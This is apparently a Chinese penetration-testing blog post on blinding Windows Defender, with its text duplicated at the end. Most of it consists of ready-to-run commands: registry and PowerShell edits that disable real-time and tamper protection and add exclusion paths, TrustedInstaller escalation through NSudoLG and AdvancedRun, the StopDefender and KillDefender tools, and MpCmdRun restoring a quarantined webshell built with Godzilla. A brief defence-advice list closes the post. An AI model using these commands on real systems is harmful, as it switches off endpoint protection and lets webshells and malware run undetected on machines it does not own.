致盲 Windows defender
字数 1404 2025-08-24 16:48:07

Windows Defender 渗透测试与防御绕过技术详解

1. Windows Defender 概述

Microsoft Defender 是 Windows 10/11 和 Windows Server 的内置防病毒解决方案,具有以下特点:

  • 集成机器学习、大数据分析和云基础设施
  • 作为 Microsoft Defender for Endpoint 的核心组件
  • 提供实时保护和威胁检测功能
  • 默认启用且难以完全禁用

2. 环境准备

测试环境配置

  • 操作系统:Windows Server 2019
  • 用户权限:Administrator
  • Web环境:phpstudy 8.1.1.3 + Apache 2.4.39 + PHP 7.3.4

WebShell 免杀技术

使用 Godzilla 工具生成免杀 WebShell:

  1. 工具地址:https://github.com/BeichenDream/Godzilla
  2. 推荐加密器:PHP_XOR_BASE64
  3. 测试方法:
    • 静态免杀:直接上传检测
    • 动态免杀:连接后执行命令测试

3. TrustedInstaller 权限说明

TrustedInstaller 是 Windows 中的特殊安全主体:

  • 全称:NT SERVICE\TrustedInstaller
  • 拥有修改系统文件的最高权限
  • 关闭 Windows Defender 需要此权限(普通 Administrator 和 SYSTEM 权限不足)

4. Windows Defender 防御绕过技术

4.1 基础命令操作

注册表操作(需管理员权限)

:: 查看排除项
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

:: 查看 Defender 版本
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b

:: 检查篡改保护状态(5=开启,4=关闭)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"

:: 注册表关闭 Defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f

:: 注册表恢复 Defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f

:: 添加排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f

PowerShell 命令

# 查看排除项
Get-MpPreference | select ExclusionPath

# 关闭实时监控
Set-MpPreference -DisableRealTimeMonitoring $true

# 添加排除路径
Add-MpPreference -ExclusionPath "c:\temp"

# 删除排除路径
Remove-MpPreference -ExclusionPath "C:\test"

4.2 使用 NSudoLG 工具获取 TrustedInstaller 权限

工具地址:https://github.com/M2Team/NSudo

:: 使用 TrustedInstaller 权限关闭 Defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f"

:: 关闭篡改保护
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f"

:: 添加排除项
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f"

4.3 使用 AdvancedRun 工具

工具地址:https://www.nirsoft.net/utils/advanced_run.html

AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run

4.4 使用 StopDefender 工具

工具地址:https://github.com/lab52io/StopDefender

StopDefender_x64.exe

5. 高级技巧

5.1 使用 MpCmdRun 恢复被隔离文件

MpCmdRun 是 Defender 的命令行管理工具,位于:
C:\ProgramData\Microsoft\Windows Defender\Platform\<version>

常用命令:

:: 查看被隔离文件列表
MpCmdRun -Restore -ListAll

:: 恢复指定文件
MpCmdRun -Restore -FilePath C:\phpstudy_pro\WWW\shell.php

:: 恢复所有文件
MpCmdRun -Restore -All

:: 检查路径是否在排除列表中
MpCmdRun -CheckExclusion -path C:\phpstudy_pro\WWW\

5.2 移除 Token 使 Defender 失效

原理:移除 MsMpEng.exe 进程的 token 使其无法检测其他进程

工具:

  1. https://github.com/pwn1sher/KillDefender
  2. https://github.com/Octoberfest7/KillDefender

注意:此方法成功率可能不高,需在实际环境中测试

6. 防御建议

  1. 保持篡改保护(TamperProtection)开启
  2. 限制注册表关键项的修改权限
  3. 监控 TrustedInstaller 权限的使用
  4. 定期检查排除项列表
  5. 使用高级威胁防护方案补充 Defender 功能

7. 参考资源

  1. Windows Defender 官方文档
  2. 相关技术文章1
  3. 相关技术文章2
  4. 3gstudent 的渗透基础
Windows Defender 渗透测试与防御绕过技术详解 1. Windows Defender 概述 Microsoft Defender 是 Windows 10/11 和 Windows Server 的内置防病毒解决方案,具有以下特点: 集成机器学习、大数据分析和云基础设施 作为 Microsoft Defender for Endpoint 的核心组件 提供实时保护和威胁检测功能 默认启用且难以完全禁用 2. 环境准备 测试环境配置 操作系统:Windows Server 2019 用户权限:Administrator Web环境:phpstudy 8.1.1.3 + Apache 2.4.39 + PHP 7.3.4 WebShell 免杀技术 使用 Godzilla 工具生成免杀 WebShell: 工具地址:https://github.com/BeichenDream/Godzilla 推荐加密器:PHP_ XOR_ BASE64 测试方法: 静态免杀:直接上传检测 动态免杀:连接后执行命令测试 3. TrustedInstaller 权限说明 TrustedInstaller 是 Windows 中的特殊安全主体: 全称:NT SERVICE\TrustedInstaller 拥有修改系统文件的最高权限 关闭 Windows Defender 需要此权限(普通 Administrator 和 SYSTEM 权限不足) 4. Windows Defender 防御绕过技术 4.1 基础命令操作 注册表操作(需管理员权限) PowerShell 命令 4.2 使用 NSudoLG 工具获取 TrustedInstaller 权限 工具地址:https://github.com/M2Team/NSudo 4.3 使用 AdvancedRun 工具 工具地址:https://www.nirsoft.net/utils/advanced_ run.html 4.4 使用 StopDefender 工具 工具地址:https://github.com/lab52io/StopDefender 5. 高级技巧 5.1 使用 MpCmdRun 恢复被隔离文件 MpCmdRun 是 Defender 的命令行管理工具,位于: C:\ProgramData\Microsoft\Windows Defender\Platform\<version> 常用命令: 5.2 移除 Token 使 Defender 失效 原理:移除 MsMpEng.exe 进程的 token 使其无法检测其他进程 工具: https://github.com/pwn1sher/KillDefender https://github.com/Octoberfest7/KillDefender 注意:此方法成功率可能不高,需在实际环境中测试 6. 防御建议 保持篡改保护(TamperProtection)开启 限制注册表关键项的修改权限 监控 TrustedInstaller 权限的使用 定期检查排除项列表 使用高级威胁防护方案补充 Defender 功能 7. 参考资源 Windows Defender 官方文档 相关技术文章1 相关技术文章2 3gstudent 的渗透基础